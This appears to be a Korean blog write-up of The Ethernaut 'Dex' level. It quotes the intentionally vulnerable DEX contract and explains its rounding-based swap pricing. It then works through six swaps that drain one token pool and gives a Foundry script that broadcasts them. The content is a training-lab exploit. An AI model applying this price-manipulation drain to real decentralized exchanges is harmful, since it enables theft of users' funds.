// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";
contract Dex is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function addLiquidity(address token_address, uint256 amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint256 amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint256 amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint256) {
return IERC20(token).balanceOf(account);
}
}
contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
일단 ERC20 토큰으로 되어있고 대부분의 DEX(탈중앙화 거래소)는 ERC20 토큰을 사용한다고 되어있다.
그리고 처음에 token 2개를 주는데 해당 토큰에 대해 유저 컨트랙트는 10의 잔액을, 문제 컨트랙트는 100의 잔액을 갖는다.
목표는 문제 컨트랙트의 잔액을 아무 토큰에 대해서 0을 만들면 된다.
즉 token1 에 대해서 문제컨트랙트는 100 잔액, token 2에 대해서도 100잔액이 있는데
token1에대해서 80, token2에대해서 0 이렇게만 만들어도 성공하는 것이다.
먼저, ERC20을 사용하기 위해선 approve를 해야하기에 approve함수로 대충 1000정도 승인을 해놓고 swap함수로 돈을 옮기면 된다.
돈을 옮기는 과정을 보면은 먼저 from과 to param을 받는데
from토큰에 대해서 sender의 잔액을 owner에게 옮긴다.
그다음 to 토큰에 대해서 getSwapPrice를 계산하고 owner의 잔액에서 sender의 잔액으로 돈을 옮긴다.
getSwapPrice는 to토큰에 관한 owner의 잔액 * amount에 나누기 from 토큰에 관한 owner의 잔액이다.
그러면 먼저 to = token1, from = token2 로 가정하고 10을 옮겨보자.
1. from = token1, to = token2, amount = 10
먼저 swapAmount부터 구하면
[swapAmount]
10 * 100 / 100 = 10
그다음 유저에서 owner로 amount(10)만큼 옮겨진다.
[잔액] - token1
msg.sender = 0
owner = 110
그리고 to토큰에 관해 처리해준다.
[잔액] - token2
msg.sender = 20
owner = 90
그다음 owner가 0이 되게 하려면 swap amount를 크게 하는게 좋기에 token2의 msg.sender의 20을 옮긴다.
2. from = token2, to = token1, amount = 20
[swapAmount]
20*110 / 90 = 24.44 = 24 (uint256이므로 반내림)
[잔액] - token2
msg.sender = 0
owner = 110
[잔액] - token1
msg.sender = 24
owner = 86
3. from = token1, to = token2, amount = 24
[swapAmount]
24*110 / 86 = 30
[잔액] - token1
msg.sender = 0
owner = 110
[잔액] - token2
msg.sender = 30
owner = 80
4. from = token2, to = token1, amount = 30
[swapAmount]
30*110/80 = 41
[잔액] - token2
msg.sender = 0
owner = 110
[잔액] - token1
msg.sender = 41
owner = 69
5. from = token1, to = token2, amount = 41
[swapAmount]
41*110/69 =65
[잔액] - token1
msg.sender = 0
owner = 110
[잔액] - token2
msg.sender = 65
owner = 45
이제 마지막으로 owner의 45를 없애면 된다.
이때, 65를 옮기면 될것 같지만 65를 옮기면은 swapAmount가 110보다 커져 to 토큰에서 owner->msg.sender로 보낼때 owner의 잔액인 110보다 큰 금액을 옮기려고 시도하므로 오류가 난다.
따라서 swapAmount가 정확히 110이 되도록 amount를 45로 조정하면 된다.
6. from = token2, to = token1, amount= 45
[swapAmount]
45*110/45 = 110
[잔액] - token2
msg.sender = 20
owner = 90
[잔액] - token1
msg.sender = 110
owner = 0
이렇게 하면 오류날일이 없이 token1의 owner 값이 깔끔하게 0이된다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/dex.sol";
contract DexSolve is Script {
Dex target = Dex(payable(0x568Fb1d7D10cB80Fc5644d92998226CF3094Aca5));
address public token1;
address public token2;
function setUp() external{
token1 = target.token1();
token2 = target.token2();
}
function run() external{
vm.startBroadcast(vm.envUint("user_private_key"));
target.approve(address(target), 1000);
target.swap(token1, token2, 10);
target.swap(token2, token1, 20);
target.swap(token1, token2, 24);
target.swap(token2, token1, 30);
target.swap(token1, token2, 41);
target.swap(token2, token1, 45);
vm.stopBroadcast();
}
}
'Web3 > The Ethernaut' 카테고리의 다른 글
[The EThernaut] Dex Two (이거 왜안됨?) (0) | 2025.03.07 |
---|---|
[The Ethernaut] Shop (0) | 2025.02.03 |
[The Ethernaut] Denial (0) | 2025.02.03 |
[The Ethernaut] Alien Codex (0) | 2025.02.03 |
[The Ethernaut] Magic Number (0) | 2025.02.02 |